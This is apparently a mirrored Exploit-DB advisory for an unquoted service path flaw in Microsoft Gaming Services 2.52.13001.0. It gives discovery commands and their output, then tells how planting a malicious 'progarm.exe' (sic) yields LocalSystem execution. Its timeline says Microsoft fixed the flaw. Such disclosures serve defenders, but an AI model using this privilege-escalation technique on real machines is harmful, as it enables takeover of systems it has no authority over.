Microsoft Gaming Services 2.52.13001.0 – Unquoted Service Path - 体验盒子

作者： Johto Robbie

日期： 2022-02-21

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/50776/

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# Exploit Title: Microsoft Gaming Services 2.52.13001.0 - Unquoted Service Path

# Discovery by: Johto Robbie

# Discovery Date: May 12, 2021

# Tested Version: 2.52.13001.0

# Vulnerability Type: Unquoted Service Path

# Tested on OS: Windows 10 x64 Home

# Step to discover Unquoted Service Path:

Go to Start and type cmd. Enter the following command and press Enter:

C:\Users\Bang's>wmic service get name, displayname, pathname, startmode |

findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """

Gaming Services

GamingServices C:\Program

Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe

Auto

Gaming Services

GamingServicesNetC:\Program

Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe

Auto

C:\Users\Bang's>sc qc "GamingServices"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GamingServices

TYPE : 210WIN32_PACKAGED_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL: 0 IGNORE

BINARY_PATH_NAME : C:\Program

Files\WindowsApps\Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe

LOAD_ORDER_GROUP :

TAG: 0

DISPLAY_NAME : Gaming Services

DEPENDENCIES : staterepository

SERVICE_START_NAME : LocalSystem

This application have no quote . And it contained in C:\Program Files. Put

mot malicious aplication with name "progarm.exe"

Stop & Start: GamingServices. "progarm.exe" will be execute

#Exploit:

An unquoted service path in

Microsoft.GamingServices_2.52.13001.0_x64__8wekyb3d8bbwe, could lead to

privilege escalation during the installation process that is performed when

an executable file is registered. This could further lead to complete

compromise of confidentiality, Integrity and Availability.

#Timeline

May 12, 2021 - Reported to Microsoft

Feb 11, 2022 - Confirmed vulnerability has been fixed